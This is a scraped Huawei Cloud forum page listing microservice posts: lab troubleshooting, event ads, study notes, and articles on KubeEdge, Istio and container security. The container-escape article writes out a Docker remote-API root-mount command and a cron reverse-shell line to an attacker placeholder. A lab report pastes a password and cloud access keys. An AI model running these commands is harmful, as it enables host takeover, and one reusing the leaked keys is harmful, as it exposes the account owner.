• [沙箱纠错] 基于ServiceStage的微服务开发与部署_步骤2.4-3
    授权下找不到项目
  • [热门活动] 华为云大咖带你玩转微服务架构,今天晚上19:00,与你相约直播间!
    今天晚上19:00,与你相约直播间华为云大咖带你玩转微服务架构get 企业应用架构的演进过程、典型微服务框架介绍、华为云应用管理与运维服务等干货内容还没报名活动的同学,抓紧时间加入——华为云云原生入门级开发者认证人才计划与大咖交流,与学霸同行,不断修炼自己,终究活成自己喜欢的模样!https://edu.huaweicloud.com/signup/521bd9a32c9345d5b240d4173e67437a
  • [热门活动] 【华为云618】多款中间件、微服务系列产品,助力应用架构与设计现代化
    随着各行各业的竞争加剧,落后的应用架构成为许多企业敏捷创新的阻碍。怎样让你的业务迭代更快?怎样让你的应用跑的更快?转型云原生2.0正当时!#华为云618# 多款中间件、微服务系列产品,助力应用架构与设计现代化!  分布式缓存Redis版,单分片10万QPS,首购低至9.9元 分布式消息服务DMS,最高支持百万TPS,提供Kafka、RabbitMQ、RocketMQ多个版本,首购体验30元起 更有微服务引擎、API网关,等13+产品全场3折起!马上下单,即可参与抽取FreeBuds耳机,满额再送MateBook笔记本!>点击这里,马上进入活动专场<
  • [问题求助] CSE可以管理本地启动的微服务吗?
    CSE可以管理本地启动的微服务吗?本地的服务是不是只需要配置华为云CSE上的注册服务发现地址和配置中心地址就可以管理微服务了?还是说必须要把服务部署后才能用CSE管理呢?
  • [认证交流] 华为云云原生入门级开发者认证学习笔记——第七章
    第7章:华为云微服务架构介绍• 应用架构的演进• 什么是微服务微服务架构是一种架构模式,将单体应用划分成一组小的服务,通过服务之间互相协作,共同实现系统功能。• 微服务的特征• 单体架构:一种软件设计规范,用一种将业务逻辑、数据、显示分离的方法组织代码• 单体架构的优缺点优点:1. 开发和测试简单2. 部署简单3. 运维简单缺点:1. 交付周期长2. 维护成本增加3. 可扩展性差4. 技术选型成本高5. 新成员培养周期长• 从单体架构演进到SOA服务化架构• 微服务架构• 微服务的优势和挑战优势:服务模块边界更清晰、支持独立的部署、允许技术多样性挑战:分布式编程难度大有风险、需处理分布式系统的一致性、增加运维复杂性• 常见的微服务框架1. Spring Cloud2. ServiceComb3. Apache Dubbo• 微服务架构模式1. 微服务之间的RPC通信2. 分布式微服务实例和服务发现3. 配置外置、动态、集中的配置管理4. 提供熔断、限流、隔离、负载均衡等微服务治理能力5. 分布式事务管理能力6. 调用链、集中日志采集和检索• Spring Cloud框架1. 服务注册:服务实例将自身的服务信息注册到注册中心。2. 服务发现:服务实例请求注册中心获取所依赖服务信息。3. 负载均衡:是高可用网络基础架构的关键组件,通常用于将工作负载分布到多个服务器来提高网站、应用、数据库或其他服务的性能和可靠性。4. API网关:微服务网关,介于客户端与服务器之间的中间层,所有的外部请求都会先经过微服务网关。5. 配置中心:把项目中各种配置、各种参数、各种开关,全都放到一个集中的地方进行统一管理,并提供一套标准的接口。• 熔断:在互联网系统中,当下游服务因访问压力过大而响应变慢或失败,上游服务为了保护系统整体可用性,可暂时切断对下游服务的调用。• 链路追踪:对一次请求涉及多个服务链路进行日志记录,性能监控即链路追踪。• Spring Cloud的技术实现• Spring Cloud实现—服务注册发现和集中配置• Spring Cloud微服务典型部署• 微服务引擎CSE用于微服务应用的云中间件,为用户提供注册发现、服务治理、配置管理等高性能和高韧性的企业级服务能力。可无缝兼容Spring Cloud、ServiceComb等开源生态。• CSE功能介绍1. 无需构建和维护Eureka,Consul等开源软件2. Spring Cloud应用无需修改代码,使用spring-cloud-huawei轻松接入3. 提供用户友好的配置管理,服务治理、安全认证等功能• CSE功能组件与Spring Cloud框架的关系• Spring Cloud Huawei的位置和作用构建存在Spring Cloud应用之上,基于Spring Cloud现有能力构建的,Spring Cloud huawei提供的一系列新的组件。• Spring Cloud Huawei功能介绍• 微服务代码框架• Spring Cloud Huawei接入流程1. 引入依赖包2. 接入服务注册发现中心3. 接入配置中心• Spring Cloud huawei开发引入Spring Cloud Huawei依赖配置微服务信息和CSE引擎信息,从而接入微服务引擎CSE微服务注册发现配置管理服务治理• 华为云应用管理与运维平台功能框架ServiceStage是一个应用托管和微服务管理平台。1. 应用开发:基于spring_cloud_huawei模板进行微服务部署2. 通过流水线功能实现应用的持续交付3. ServiceStage支持应用部署在多种基础设置上云容器引擎CCE部署弹性云服务ECS部署云容器实例CCI部署• ServiceStage支持对应用的全生命周期管理• 应用运维管理服务AOM以云上应用为中心,为企业应用提供一站式立体运维平台• AOM服务可监控的对象AOM日志管理• 如何进行日志采集—LTS日志组:是云日志服务进行日志管理的基本单位,可以创建日志流以及设置日志存储时间。日志流:日志读写的基本单位,日志组中可以创建日志流,方便对日志进一步分类管理。日志采集:采集器支持3种类型:在ECS或私有云节点上安装采集器,通过配置日志路径即可完成采集,用户通过SDK\API接口方式上报日志数据和通过云服务自动完成数据对接。• Service支持对微服务动态治理• 微服务完成部署后,根据微服务的运行情况,配置响应的策略,对服务进行治理。
  • [沙箱纠错] 基于ServiceStage的微服务开发与部署_步骤
    第一步,提示“华北-北京四”未开通区域服务,完全找不到“新建项目”在哪里,没法进行实验操作……
  • [问题求助] 微服务引擎CSE中配置中心请问下怎么用,翻遍了文档没找到
    先说下我的环境和目的我在s3服务器上搭建了cse环境,下载了下载本地轻量化微服务引擎,搭建了注册中心配置中心,同时下载了demo 的basic中的三个服务注册到注册中心去在30103操作页面配置yaml时就遇到了问题,第一个没理解配置管理怎么用第二个,配置了配置项,但是返回读取的信息还是工程里的yaml配置的信息,并不是从配置中心获取的怎么样才能像spring-cloud-config那样让服务从配置中心读取配置项数据呢?哪位大佬帮忙解决下,谢谢
  • [热门活动] 一起读书吧·DevCloud世界读书日主题活动
    4月23日世界读书日全称“世界图书与版权日”,又称“世界图书日”。其设立目的是推动更多的人去阅读和写作,希望所有人都能尊重和感谢为人类文明做出过巨大贡献的文学、文化、科学、思想大师们,保护知识产权。为支持正版,鼓励开发者培养持续学习的优良品质,华为云软件开发平台DevCloud发起了本次读书日活动,联合清华大学出版社、机械工业出版社精选34本好书样章资源包,为你的软件工程师之路补充粮草~参与流程论坛回帖:#一起读书吧#+推荐图书书名+推荐心得 即可开启隐藏楼层获得大咖书单下载地址!**** 本内容被作者隐藏 ****书籍太多从哪里开始看?不要在收藏夹吃灰啦,专家领读,不迷路!领读视频部分内容展示视频观看地址:https://classroom.devcloud.huaweicloud.com/joinclass/d17483a4aa2f4022b707fc105526b7ac/1你最喜欢哪一本?分享活动给小伙伴,我们会综合下载量和活动结束后社群投票数,有机会对人气最高的图书进行直播解读!华为云软件开发读书群一手资料分享,专家直播领读,尽在此处...
  • [沙箱纠错] 基于ServiceStage的微服务开发与部署_步骤
    新建项目步骤,提示:“该企业租户服务处于关闭状态”
  • [沙箱纠错] 基于ServiceStage的微服务开发与部署_步骤 7 构建 日志报错
    构建 步骤7,日志报错,是什么原因?/var/toolbox/apache-maven-3.6.3.tar.gz: OKinit apache-ant-1.10.5-bin.tar.gzinit gradle-6.9.1-bin.zip/var/toolbox/gradle-6.9.1-bin.zip: OK> define util functions...> init code repository configuration...,execute common/pull_code.sh...> git clone codehub.devcloud.cn-north-4.huaweicloud.com/demo100111/spring-cloud-huawei-samples.git branch masterCloning into 'spring-cloud-huawei-samples'...fatal: unable to access 'https://codehub.devcloud.cn-north-4.huaweicloud.com/demo100111/spring-cloud-huawei-samples.git/': Failed connect to codehub.devcloud.cn-north-4.huaweicloud.com:443; Connection timed outAttempt 1 failed! Trying again in 1 seconds...> git clone codehub.devcloud.cn-north-4.huaweicloud.com/demo100111/spring-cloud-huawei-samples.git branch masterCloning into 'spring-cloud-huawei-samples'...fatal: unable to access 'https://codehub.devcloud.cn-north-4.huaweicloud.com/demo100111/spring-cloud-huawei-samples.git/': Failed connect to codehub.devcloud.cn-north-4.huaweicloud.com:443; Connection timed outAttempt 2 failed! Trying again in 2 seconds...> git clone codehub.devcloud.cn-north-4.huaweicloud.com/demo100111/spring-cloud-huawei-samples.git branch masterCloning into 'spring-cloud-huawei-samples'...说明 :仓库授权  密码输入的是  实验提供的用户密码:yccEDH!/%484代码里,bootstrap.yml内容是:pring:  application:    name: basic-provider  cloud:    servicecomb:      discovery:        enabled: true        watch: false        # address: https://cse.cn-south-1.myhuaweicloud.com        address: https://cse.cn-north-4.myhuaweicloud.com        appName: basic-application        serviceName: ${spring.application.name}        version: 0.0.1        healthCheckInterval: 30      config:        # serverAddr: https://cse.cn-south-1.myhuaweicloud.com        serverType: config-center        serverAddr: https://cse.cn-north-4.myhuaweicloud.com        fileSource: provider.yaml      # Configure AK/SK credentials if needed. Default not enabled.      credentials:        enabled: true        accessKey: XH4T5IXXJHNFRP6ARCY3        secretKey: 1USQLEn6nU0exb5uJJNVU40b3sG7fYHO8cWhvIEAuser        akskCustomCipher: default        project: cn-north-4
  • [沙箱纠错] 基于ServiceStage的微服务开发与部署_步骤
    应用管理与运维平台ServiceStage   没有授权啊SVCSTG.SS.1063: 无权创建委托
  • [干货汇总] 【微服务系列】云原生2.0时代:企业更应了解一下容器安全
    >摘要:云原生2.0时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。本文分享自华为云社区《[云原生2.0时代:企业更应了解一下容器安全](https://huaweicloud.blog.csdn.net/article/details/114066177)》,原文作者:华为助力企业上云。随着云原生技术的成熟和市场需求的升级,云计算的发展已步入新的阶段,云原生2.0时代已经到来。从技术角度看,以容器、微服务以及动态编排为代表的云原生技术蓬勃发展,成为赋能业务创新的重要推动力,并已经应用到企业核心业务。从市场角度看,云原生技术已在金融、制造、互联网等多个行业得到广泛验证,支持的业务场景也愈加丰富,行业生态日渐繁荣。云原生2.0是企业智能升级的新阶段,企业云化从“ON Cloud”走向“IN Cloud”,新生能力与既有能力有机协同、立而不破,实现资源高效、应用敏捷、业务智能、安全可信,成为“新云原生企业”。云原生2.0时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。传统的虚拟机能够基于虚拟化技术更加有效的利用硬件计算资源,可以实现云租户的隔离与资源共享。相比虚拟机来说,容器更轻、更快,但是作为一种新技术,容器的安全防护也与虚拟机所有不同。# 容器 VS 虚拟机容器与虚拟机具有相似的资源隔离和分配价值,但容器的作用不同,因为容器是虚拟化操作系统而不是硬件。容器更便携,更高效。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382730941155532.png)容器VS虚拟机虚拟机(VM)是对物理硬件的抽象,将一台服务器转化为多台服务器。Hypervisor允许在一台机器上运行多个虚拟机。每个虚拟机都包含操作系统、应用程序、必要的二进制文件和库的完整副本,占用数十GB的空间。虚拟机启动速度也比较慢。容器是应用程序层的一个抽象,将代码和依赖打包在一起。多个容器可以运行在同一台机器上,与其他容器共享操作系统内核,每个容器在用户空间中作为隔离的进程运行。容器比虚拟机占用更少的空间(容器镜像通常只有几十MB大小),可以处理更多的应用程序。# 容器逃逸!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382756697613912.png)容器逃逸,是容器技术启用以来一直被关注的问题,甚至被认为是容器的首要安全问题。所谓“逃逸”,指的是“流氓”容器/虚拟机尝试突破隔离环境的限制,访问宿主系统或者在同一个系统上的同驻容器或虚拟机。从而造成敏感信息泄露,或者系统及服务发生DOS的行为。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382767369633386.png)但正是由于容器与宿主系统共享内核,因此容器与宿主机有着更大的接触面,隔离层次更少,更容易从容器内实施逃逸攻击。因此,如何解决容器逃逸安全风险,避免容器逃逸攻击带来的损失是容器安全中最为重要的一个问题。# 容器逃逸常用手段## (1)通过容器自身漏洞及内核漏洞逃逸!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382798634570812.png)攻击的主要途径之一就是利用漏洞,通过程序设计或实现的缺陷来执行非法操作,容器逃逸也不例外。容器自身漏洞是其利用进行逃逸的路径之一,同时由于容器共享宿主系统内核,因此内核漏洞是其逃逸的另一路径,同时由于内核漏洞的数量远远大于容器自身漏洞,因此内核漏洞甚至成为容器逃逸更为主要的一个手段。**1)利用容器漏洞逃逸 – shocker攻击**Shocker攻击是容器逃逸最著名的案例,其本质是利用了一个不常用的系统调用open_by_handle_at,同时借助docker1.0前版本并未限制CAP_DAC_READ_SEARCH能力,并将容器启动时会挂载宿主机文件到容器内(如旧版本的/.dockerinit,新版本的/etc/hosts)作为起点,执行暴力破解攻击,最终获取到要访问的宿主系统文件的句柄信息并进行读取,从而实现逃逸。Github地址:https://github.com/gabrtv/shocker容器执行shocker攻击逃逸访问宿主系统/etc/shadow文件:!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382842819272924.png)2)内核漏洞利用逃逸 – dirtycow攻击!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382854647880885.png)DirtyCow(脏牛漏洞,CVE-2016-5195)是Linux内核中的一个权限提升漏洞,其也可被容器利用实施逃逸。容器利用dirtycow漏洞改写虚拟动态共享库VDSO(Virtual Dynamically Shared Objec),并将shellcode置入其中,当主机系统进程调用并执行修改后的内容时,就会借用此进程身份执行置入的shellcode,并最终在容器内获得一个来自主机的root权限的shell。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383305429739993.png)## (2)不安全配置引发逃逸**1)不安全启动,如privileged特权容器**容器以--privileged参数启动时称为特权容器,特权容器顾名思义具有较高权限,包括对宿主机上的设备的访问权限。因此,攻击者可以直接在容器内mount主机设备并进行文件访问,从而轻而易举实现逃逸。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383328092402604.png)!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383335126936804.png)**2)不安全挂载,如挂载docker.sock到容器**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383351270304116.png)图片来源:https://medium.com/better-programming/about-var-run-docker-sock-3bfd276e12fdDocker.sock文件是一个Unix domain socket文件,是Docker daemon默认监听的套接字文件,docker client通过它与docker daemon进行通信。docker client将信息查询和下发命令等请求通过docker.sock发给docker daemon,然后由deamon执行具体请求,包括镜像查询、容器创建等。将docker.sock挂载到容器内,可以在容器内继续运行一个容器,实现docker in docker,并可在容器内容器启动时通过-v参数将宿主机根目录挂载到容器内,从而在容器内访问宿主机文件,实现逃逸。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383363676589043.png)**3)Docker remote api未授权访问**默认情况下,docker daemon只允许通过unix domain socket – docker.sock进行本地通信操作,但除此之外,docker daemon也提供了Restful API供远端client访问(daemon通过-H参数指定监听端口),如果未对访问进行权限控制及合规性检查,则攻击者也可以访问这个API执行高危操作,并实施逃逸攻击。例如一种攻击场景:- 通过Remote API创建一个容器,并将宿主系统根目录挂载到容器内:`# docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash`其中:$IP表示docker daemon服务ip,$PORT表示Remote API监听端口- 将反弹shell命令写入计划任务文件`# echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root`其中:$IP表示攻击端IP,$PROT表示攻击端监听端口- 攻击端监听上一步中的$PORT端口,获取来自对端(docker服务所在系统)的具有root权限得反弹shell,并任意访问。# 华为云容器安全服务CGS之逃逸安全防护方案!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383468117387267.png)# 华为云容器安全服务CGS华为云容器安全服务CGS构建了容器安全威胁纵深防御体系,提供包括镜像扫描、威胁检测与威胁防护的一整套容器安全能力,提供针对容器的Build、Ship、Run全生命周期保护能力,渗透到整个容器DevOps流程,保证容器虚拟环境从开发到生产整个流程的安全。其中,容器逃逸检测是CGS的核心功能之一,它通过如下手段构建系统化的容器逃逸全面防护能力:## (1)监控容器不安全配置启动前文中提到,不安全配置是容器逃逸的一个重要原因。因此,监控容器的不安全启动也是容器逃逸防护的一个重要手段。CGS可以针对容器启动的各种不安全配置进行监控,包括启动特权容器、挂载宿主机文件、安全策略关闭、特权端口映射等,从容器创建伊始就检测逃逸风险,实现整体防护方案第一步。## (2)容器行为深度分析容器启动后,CGS可对容器运行过程中的行为进行实时跟踪和观察,监控容器内的进程运行、文件访问、网络连接、系统调用等行为,并对行为进行深度分析,从行为过程体现出来的特征到行为所产生的结果进行全面分析检测,有效发现容器已知和未知漏洞利用逃逸攻击行为并进行告警。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383503769944724.png)## (3)容器基线机器学习一般而言,容器的行为通常固定且纯粹,比如一个提供web服务的容器内可能只会运行一个nginx进程,一个提供DB服务的容器内可能只会运行一个mysql进程,并且进程所执行的操作,包括文件访问、系统调用、网络连接等行为都有固定合理范围,因此可以对容器圈定正常行为范围,构建行为基线。CGS利用机器学习技术,从静态和动态两个维度分析容器正常行为并建立基线,使得基线模型更准确、更完整,然后根据基线跟踪容器行为,感知基线以外的异常行为,实现对攻击行为的全面感知,并有效提升对于容器利用0day漏洞进行逃逸攻击的检测能力。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383517370124952.png)华为云CGS容器逃逸方案防护机制内置在防护平台,无需用户参与即可实现容器逃逸系统化检测,具有良好的易用性,同时方案采用事件驱动机制实现性能高、反应快,为容器安全保驾护航。
  • [干货汇总] 【微服务系列】看KubeEdge携手K8S,如何管理中国高速公路上的10万边缘节点
    >摘要:为保证高速公路上门架系统的落地项目的成功落地,选择K8s和KubeEdge来进行整体的应用和边缘节点管理。本文分享自华为云社区《[如何使用Kubernetes管理中国高速公路上的10万边缘节点?](https://huaweicloud.blog.csdn.net/article/details/113683195)》,原文作者:技术火炬手。# 一、项目背景本项目是在高速公路ETC联网和推动取消省界收费站的大前提下,门架系统的落地,也就是要把门架部署在覆盖全国范围的高速公路上,收集车辆通行的牌示信息,以及相应的交易信息。整体的情况是在边缘侧,即高速公路上会部署大量的门架和相应的控制器,相应的边缘终端,这些终端大概10万台,其上部署了相关的应用以收集相关信息。超过50万个应用部署到边缘节点,收集到信息后,通过收费专网向省中心以及路网中心上传对应的数据。**本次项目的工作挑战主要有两个方面:**将近10万台异构设备的管理,包括arm,x86等异构设备。50余万个应用的生命周期管理**为保证项目的成功落地,我们对整体架构做了选型,最终选择了K8s和KubeEdge来进行整体的应用和边缘节点管理。**# 二、为什么选择Kubernetes在项目里,虽然说是部署在边缘侧的应用,但它的复杂程度已经和云上是类似的了,在边缘侧部署的应用已经是由很多个微服务组成的。所以Kubernetes对于支撑这种微服务化的、云原生化的应用部署和大规模管理的能力,同样也适用于这个项目在边缘侧的使用。**具体来说,有一些典型的部署需求:**- 双机热备- 多机多活互备- 有关联的应用同节点部署以提升应用间交互效率- 同一应用的不同实例跨节点部署以提升可用性- 依据边缘节点的不同属性将应用部署于不同分组中- 定义独立于节点的应用部署以及实现满足条件的新边缘节点上线后自动安装应用**这些需求,用K8s的这些Deployment、Pod、ReplicaSet、DaemonSet等核心对象来表示,是非常适合的。所以我们就选择了Kubernetes。**当然,还有一些重要的边缘侧特有的需求是原生的Kubernetes不具备的,但Kubernetes的架构是非常好的,易于扩展,灵活性很高,可以基于原生Kubernetes架构基础,根据边缘管理的特殊需求进行扩展。# 三、为什么选择KubeEdge**一是业务自身的特点来决定的。** 这个业务的量非常大,涉及的边缘节点分布在全国各地,所以它的边缘侧是多硬件架构、多厂家的,我们需要异构的支持; 边缘工控机低至4核ARM SOC、1G可用内存,我们需要低资源占用的方案来管理边缘侧的节点;管理运维复杂,从路网中心到最终路段,分为6级管理层次,管理成本高,我们需要高集成度边缘的方案,让边缘足够简单,把出问题的概率降到最低,降低运维成本。**二是从边缘环境的特点来看的。** 从网络的角度来看,网络分为部省、省站两层,多次转发,我们需要边缘接入具有高灵活性,可支持专线、代理、公网、有线和无线接入等多种方式;各地基础设施的建设不同,有些省份的网络带宽低至3M,我们需要边缘和云之间的管理带宽占用降到最低;有些高速公路上的网络条件是非常差的,经常出现断网的情况。我们需要边缘方案有离线自治的能力。# 四、整体方案接下来我会把整体方案打开成几层来分别介绍。**应用部署**首先是应用部署,就像我刚才说的,在边缘侧要部署的业务非常复杂,它是由多个微服务所构成的云原生化的架构。所以我们这些微服务以及中间件都容器化之后可以非常好的适应各种不同的异构操作系统,方便统一管理。如下图所示,微服务架构分成前端和后端,前端主要把业务通过Deployment的方式部署到门架上,与后端之间是通过EdgeMesh实现的。通过这种服务发现的方式,实现微服务前后端业务的通信。而后端业务容器本身是无状态的,可以通过Deployment来部署。后面的Redis包括MySql就可以通过Statefulset的方式来进行部署。通过这样的部署模型,我们可以很完美的进行封装和自动化管理高可用的边缘侧的整套业务系统。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382278448672122.png)但如果仅仅是用原生的K8s部署方式,并不能完全满足我们的需求,因为在项目里要部署的量非常大,左图的环境只是应用于一个收费站,而一个路段要管理几百上千个收费站,逐个部署成本过高。所以我们基于K8s之上又构建了一个任务工作流的引擎系统,把每一个部署微服务的步骤定义为一个job。用批量的方式大量、快速部署成百上千个同样的微服务系统和环境。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382291266499567.png)**大规模节点接入**除了上面提到的挑战,在应对大规模节点接入的情况下也遇见过一些问题:每个省有自己的管理权限,我们按K8s集群的配置配了多个K8s集群来进行管理,一个省对应一个K8s集群,然后在K8s之上通过统一的管理层处理复杂跨集群数据统计等操作,从中心侧管理每个省的边缘侧,这就是多集群的管理手段。我们曾遇见一种现象,路网中心或省中心做网络升级等动作之后,网络有时候会出现问题,所有省的边缘节点,失去与K8s的连接,等网络恢复之后,又会发生所有节点同时连接中心侧的K8s集群,引起大量的并发连接,对中心侧的系统造成冲击,导致应用异常。为了应对这种情况,我们通过动态退避算法缓解节点同时接入所形成的流量冲击。需要精简NodeStatus和PodStatus上报的信息。就前文所提到的,各地基础设施的建设不同,有些省份的网络带宽低至3M,所以我们需要减小状态信息的大小,降低上报流量的冲击,降低对网络的影响。镜像仓库Mirror分级加速,有效降低了对网络的冲击,提高大批量部署的部署效率。**边缘业务高可用**接下来的是边缘业务高可用,按照原生K8s的升级状态,它会先删除旧版本Pod,再创建新Pod并在这个过程中去拉取新版本镜像。这种操作在公有云网络条件较好的情况下,是没太大问题的。但在边缘侧,这样就会造成业务长时间的中断,收费数据缺失。所以针对这一个流程,我们也是做了相应的升级和优化。我们先把升级下载镜像的通知下发做预下载,下载成功之后再删除已有的旧Pod,启动新应用,优化了应用升级对服务中断的时间的影响,将业务升级时整体业务中断的时间从分钟级缩减到了10s内。同时,考虑到边缘设备有主备部署的情况,而边缘侧又不像云上有ELB服务。我们又在边缘节点中容器化部署了Keepalived,通过VIP,为门架的摄像头等设备提供对应的K8s集群内的容器服务。# 五、总结当前基于KubeEdge的边缘管理系统管理着全国29个省、市 、自治区的将近100,000个边缘节点,超过500,000边缘应用的部署。支撑了高速公路门架业务的不断调整、更新,满足了每日3亿条以上的信息采集。为日后车路协同、自动驾驶等创新业务的发展提供了良好的平台支撑。K8s提供的通用部署和调度模型很适合部署大规模边缘应用。单纯原生K8s不能满足边缘侧业务的所有需求,KubeEdge集成K8s云原生管理能力,同时对边缘业务部署和管理提供了很好的支持。
  • [热门活动] 直播-华为云大咖带你玩转微服务架构
    直播时间:2022/3/31  19:00-21:00直播嘉宾:路老师 华为云高级讲师直播简介:本直播为华为云云原生入门级开发者认证人才计划活动第7场直播,本直播将由华为云高级讲师路老师给大家分享企业应用架构的演进过程、典型微服务框架介绍、华为云应用管理与运维服务等干货内容,带你玩转微服务架构!直播链接:https://bbs.huaweicloud.com/live/edu_live/202203311900.html 活动介绍:面向高校学生、个人开发者、企业开发及运维人员,华为云即将推出云原生入门级开发者认证(HCCDA - Cloud Native),从开源组件到华为云上服务的介绍,使您掌握云原生的核心理念和架构,具备基本开发实践能力。为帮助开发者学习并顺利通过认证,华为云开发者学堂上线“云原生入门级开发者认证人才计划”赋能学习活动,收获知识干货、拿到官方证书的同时还有机会赢取更多精美奖品!
  • [知识分享] 【微服务系列】详解4种微服务框架接入Istio方案
    本文分享自华为云社区《[传统微服务框架接入Istio方案详解](https://bbs.huaweicloud.com/blogs/337177?utm_source=zhihu&utm_medium=bbs-ex&utm_campaign=other&utm_content=content)》,作者:香菜聊游戏 。# 微服务的概念和原理## 微服务带来的问题**微服务带来的好处:**解耦了业务,解耦了代码和架构,业务更紧凑,逻辑更单一简单。**微服务带来的问题:**在早期的时候,使用单体架构,所有的业务都在一个服务内,没有跨进程和网络上的一些复杂度。微服务化之后引入的问题包括如何做服务发现,怎么做负载均衡,包括服务间的访问保护,例如熔断,故障定位等等问题。在故障定位时,在原来单体服务下只需要看下日志,但是微服务化之后需要借助分布式调用链工具,这无形中带来了开发和定位问题的复杂度。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172893747136548.png)**微服务和lstio网格架构对比**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172910258181295.png)微服务框架我们了解比较多的Spring cloud 或者国内用的比较多的Dubbo,框架本身就不多介绍了,我想大家都有所了解。原理就是提供了开发的SDK或者说叫框架,这些框架都是内置了一些解决微服务问题的方案,比如服务发现,负载均衡,服务的熔断和降级,以及调用链路的埋点,动态路由这些事情。下图是一个典型的用法,也是应用非常广泛的用法!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172924592109894.png)基于网格的治理是近些年应用比较多的,从上图可以看出,虽然基于网格的治理提供的能力和上图的基于sdk的能力一样,但是两者的设计原理,使用场景,设计理念是不同的。# 详细介绍## 服务发现和负载均衡!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172946950218939.png)上图是传统的微服务框架的原理一般的流程是:• 服务启动的时候向服务中心进行注册• 调用的时候先从服务中心获取后端服务的地址• 选择一个实例发送请求,等待回复!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172971697244448.png)服务网格的工作原理:服务网格一般和k8s结合使用,因为k8s 本身做了服务的endpoint 维护,所以lstio不需要做服务注册,只需要做服务发现。看下详细的区别!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172983057758844.png)**服务熔断**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173014022563261.png)服务熔断的机制:如果一个服务在配置的一段时间内一直不可用,可以通过熔断机制,把服务隔离开,接触不到流量,进入到半熔断状态,如果在一定的考察时间段能够恢复正常,熔断状态就会关闭,如果还是不能正常,会继续进入到熔断状态。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173025636281188.png)# 传统微服务框架的问题和基于服务网格的解决方案**问题1:微服务SDK的多语言问题**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173045760911718.png)上面这张图示意了微服务的之间的关系,一些大的客户拥护大的系统,系统由多个服务组成,服务可能由多种语言开发。比如系统中可能有go服务,C++服务,python服务以及spring cloud 服务等等,这是一种比较常见的情况。在这些服务中想做一个通用的服务发现时,但是Spring cloud或者Dubbo开发的服务,有一套自己的服务发现机制,但是不同语言开发的服务之间发现框架是不同的,比如go服务开发的服务不可能去spring cloud的服务中心注册,这个问题没办法解决。比较粗暴的解决办法是对其他语言的项目用Java重构,在项目不复杂的情况下是可以接受的,但是在系统业务比较复杂,需要修改的项目比较多的情况下是无法接受的,不仅需要大量的人力,还要花费大量的时间,服务的稳定性没法保证。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173056841925038.png)服务网格的解决方案下,服务发现是业务解耦的,不管是什么语言开发的服务,因为proxy不需要参与编译,网格之间只需要开放端口,并且保持可以访问,在这种方案下,不需要修改原来代码,减少了开发量,是企业可以接受的。**问题2:基于sdk的服务在k8s下出现延迟和数据不一致**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173073450569182.png)在上图这种情况下,Consumer服务原来在pod1 上,后来由于调度问题,导致Consumer服务迁移到pod2 上,正常情况下pod1 需要注销,pod2 进行重新注册,但是如果pod 迁移比较频繁,导致Producer 在访问Consumer服务的时候仍然拿到老的注册地址,就会出现延迟和数据不一致的情况。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173082735445456.png)**问题3:基于SDK逻辑开发的服务升级必须重新编译**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173142036639477.png)基于SDK开发的逻辑代码进行升级的时候,必须重新编译所有基于SDK开发的服务,这个升级会带来大量的工作量,SDK的升级过程必须要和业务团队一起升级,非常耗时。产生的需求就是如果业务代码没有改变的情况下不需要重新编译。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173153337627183.png)使用网格的解决方案下,如果业务没有修改是不需要进行编译和修改的,对开发人员和运维来说是非常友好的,同时降低了运维的风险,毕竟任何改动都是风险。**问题4:基于SDK开发,统一发现和治理能力,需要全部改造**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173166300440438.png)如果对一个单体应用进行微服务化,一般是渐进微服务化,比如上图,一般先对svc1进行微服务化,然后再对svc2 进行微服务化,在开发的过程中需要仍然访问互通,但是使用SDK的微服务有时需要使用同一框架,同一版本才能进行通信交互,这就是痛点。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173174232589949.png)在使用网格的情况下,第一步先对svc1进行微服务化,svc2不改动,在开发的期间仍然不影响原来的访问。# 